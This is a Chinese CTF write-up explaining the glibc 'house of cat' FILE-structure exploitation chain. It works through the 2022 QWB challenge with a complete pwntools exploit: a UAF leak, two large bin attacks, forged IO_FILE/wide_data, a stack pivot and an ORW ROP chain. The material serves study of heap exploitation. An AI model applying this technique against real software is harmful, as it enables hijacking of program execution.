house of cat
house of cat
适用版本:到2.35
攻击效果:劫持执行流
利用条件:可以使用两次large bin attack
house of cat 跟house of apple的区别不大,就是在触发条件有所不同
house of cat是通过检查top的size不合法触发的调用链是
__malloc_assert
__fxprintf
locked_vfxprintf
__vfprintf_internal #在这里是跳转到IO_validate_vtable通过vtable+0x38调用的下面函数
_IO_wfile_seekoff
_IO_switch_to_wget_mode
call qword ptr [rax + 0x18] #rax是伪造的io_file的地址
调用链中的函数
在ptmalloc下面会对top的大小进行检查,就是从这里触发漏洞,进去我们的调用链
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
__malloc_assert
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
__vfxprintf
__vfxprintf (FILE *fp, const char *fmt, va_list ap,
unsigned int mode_flags)
{
if (fp == NULL)
fp = stderr;
_IO_flockfile (fp);//在这个地方会有一个检查,我们需要回复lock字段的值
int res = locked_vfxprintf (fp, fmt, ap, mode_flags);
_IO_funlockfile (fp);
return res;
}
locked_vfxprintf
locked_vfxprintf (FILE *fp, const char *fmt, va_list ap,
unsigned int mode_flags)
{
if (_IO_fwide (fp, 0) <= 0)
return __vfprintf_internal (fp, fmt, ap, mode_flags);
}
vfprintf_internal
vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{
...
经过一系列跳转到执行了IO_validate_vtable
}
IO_validate_vtable
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();
return vtable; 调用vtable表中偏移0x38的位置
}
_IO_wfile_seekoff
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;
if (mode == 0)
return do_ftell_wide (fp);
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));
bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));
if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
_IO_switch_to_wget_mode
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF) //最终是为了触发_IO_WOVERFLOW,因为这个 _IO_WOVERFLOW 函数是通过 _wide_data->_wide_vtable 中所存放的函数指针进行跳转的, _wide_vtable 是我们可控的,从而在这里可以劫持程序的执行流。
return EOF;
...
}
检查
满足_IO_OVERFLOW执行条件
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
lock为原来的值
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
例题 2022强网杯 house of cat
保护策略
有一个沙箱保护,只允许gatrandom,open,read,write这四个函数,很明显要用orw,但他只允许read的第一个参数是0,所以需要先执行close(0)在执行orw
程序分析
这道题需要逆向先出进入条件,才能执行程序,还太菜了逆向用了很长时间还是结合答案才看出具体原因,基本是用gdb一点一点调的
首先需要先发送LOGIN | r00t QWB QWXFadmin
然后每次进入程序要先输入CAT | r00t QWB QWXF$\xff 为啥用加\xff没弄明白
是一个菜单题,四个功能都有,(edit只能用两次)
利用思路
1、程序中存在uaf漏洞,利用show将libc和堆地址泄露出来
2、第一次large bin attack将stderr这个全局变量修改为堆或者将IO_list_all改为堆地址
3、第二次large bin attack将top的size修改为很小触发漏洞
细节:完成这三步才快完成一半,后面的都是边调试边修改,
1、需要布置伪造的IO_file和wide_data结构体
2、这个攻击最终只能执行一个call,而我们想要执行orw就需要来个栈迁移这里我用的是svcudp_reply这个函数控制rbp,在执行一个leave ,ret ,和add rsp 0x68;ret完成的
(这个堆风水布置叫我弄麻了,第二次large bin attack的布置总是奇奇怪怪,最后看的别人的)
调试
第一次call时rax指向的是我们伪造的wide_data结构体,可以根据偏移在堆内写入数据执行我们想要的执行流,这里我执行的是svcudp_reply这个函数,因为此时的rdi是我们伪造的IO_file的首地址,因此我们可以控制rbp让后面在跟个leave改变执行流到堆再利用add rsp准确控制执行流到orw链上
<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]
exp
from tools import *
context.log_level='debug'
context.arch='amd64'
p,e,libc=load('./a')
payload='LOGIN | r00t QWB QWXFadmin'
p.sendafter('mew mew mew~~~~~~\n',payload)
def add(index,size,content):
p.sendlineafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
p.sendlineafter("plz input your cat choice:\n",'1')
p.sendlineafter("plz input your cat idx:\n",str(index))
p.sendlineafter("plz input your cat size:\n",str(size))
p.sendafter("plz input your content:\n",content)
def delete(index):
p.sendlineafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
p.sendlineafter("plz input your cat choice:\n",'2')
p.sendlineafter("plz input your cat idx:\n",str(index))
def show(index):
p.sendlineafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
p.sendlineafter("plz input your cat choice:\n",'3')
p.sendlineafter("plz input your cat idx:\n",str(index))
def edit(index,content):
p.sendlineafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
p.sendlineafter("plz input your cat choice:\n",'4')
p.sendlineafter("plz input your cat idx:\n",str(index))
p.sendlineafter("plz input your content:\n",content)
add(0xe,0x450,'a')
add(0xd,0x450,'a')
delete(0xe)
add(0xc,0x460,'a')
show(0xe)
p.recvuntil('Context:\n')
libc_base=u64(p.recv(6).ljust(0x8,b'\x00'))-0x21a0e0
log_addr('libc_base')
p.recv(10)
heap=u64(p.recv(6).ljust(0x8,b'\x00'))
log_addr('heap')
# variable
IO_list_all=libc_base+libc.symbols['_IO_list_all']
stderr_ptr=libc_base+0x21a860
magic_gadget=libc_base+0x16a1fa
top_size=heap+0x15e0+0x8
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
pop_rax=libc_base+0x0000000000045eb0
close_addr=libc_base+libc.symbols['close']
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
syscall=libc_base+0x11ea3b
add_rsp_ret=libc_base+0x000000000003a889
lock=libc_base+0x21ba60
io_wfile_jumps=libc_base+0x2160c0
svcudp_reply=libc_base+0x16a1fa
leave_ret=libc_base+0x0000000000133d99
add_rsp_ret=libc_base+0x0000000000114efc
#close
rop=p64(0xdeadbeef)*10
rop+=p64(pop_rdi)+p64(0)
rop+=p64(close_addr)
#open
rop+=p64(pop_rdi)+p64(heap+0xed8)
rop+=p64(pop_rsi)+p64(0)
rop+=p64(pop_rax)+p64(2)
rop+=p64(syscall)
#read
rop+=p64(pop_rdi)+p64(0)
rop+=p64(pop_rsi)+p64(heap)
rop+=p64(pop_rdx_r12)+p64(0x50)*2
rop+=p64(read_addr)
#write
rop+=p64(pop_rdi)+p64(1)
rop+=p64(pop_rsi)+p64(heap)
rop+=p64(pop_rdx_r12)+p64(0x50)*2
rop+=p64(write_addr)
wide_data=p64(0)*4+p64(1)
wide_data+=p64(0)*20
wide_data+=b"flag\x00\x00\x00\x00"
wide_data+=p64(0)
wide_data+=p64(0)
wide_data+=p64(heap+0xee0)#wide_vtable
wide_data+=p64(svcudp_reply)#first call
wide_data+=p64(0)*4
wide_data+=p64(add_rsp_ret)
wide_data+=p64(0)
wide_data+=p64(heap+0xf18+0x20-0x28) # rax
wide_data+=p64(leave_ret)# second call
wide_data+=rop
io_file=p64(0)*4
io_file+=p64(0) #
io_file+=p64(0)*2
io_file+=p64(heap+0xf18)# rbp io_save_base
io_file+=p64(0)*7
io_file+=p64(lock)+p64(0)*2
io_file+=p64(heap+0xe10)#wide_data
io_file+=p64(0)*6
io_file+=p64(io_wfile_jumps+0x10)#vtable
io_file+=wide_data
# large bin attack
add(0xb,0x450,'a')
add(0,0x428,io_file) #first chunk
add(0xf,0x460,'prevent merge chunk')
add(1,0x418,'a') #second chunk
delete(0)
add(2,0x460,'a')
edit(0,p64(libc_base+0x21a0d0)*2+p64(heap+0xd30)+p64(stderr_ptr-0x20))
delete(1)
add(3,0x440,'a') #first chunk
add(4,0x418,'a')
# large bin attack
add(7,0x460,'a')
add(8,0x430,'a')
delete(3)
add(9,0x460,'a')
delete(8) #0x430
edit(3,p64(libc_base+0x21a0e0)*2+p64(heap+0x1e60)+p64(heap+0x2fd0+0x8-0x20-5))
debug(p,'pie',0x177F,0x190E,0x19BE,0x1884)
add(0xa,0x450,'a')
add(0xb,0x420,'a')
p.interactive()
# 0xa4274 first call 0x83d43 0x16a1fa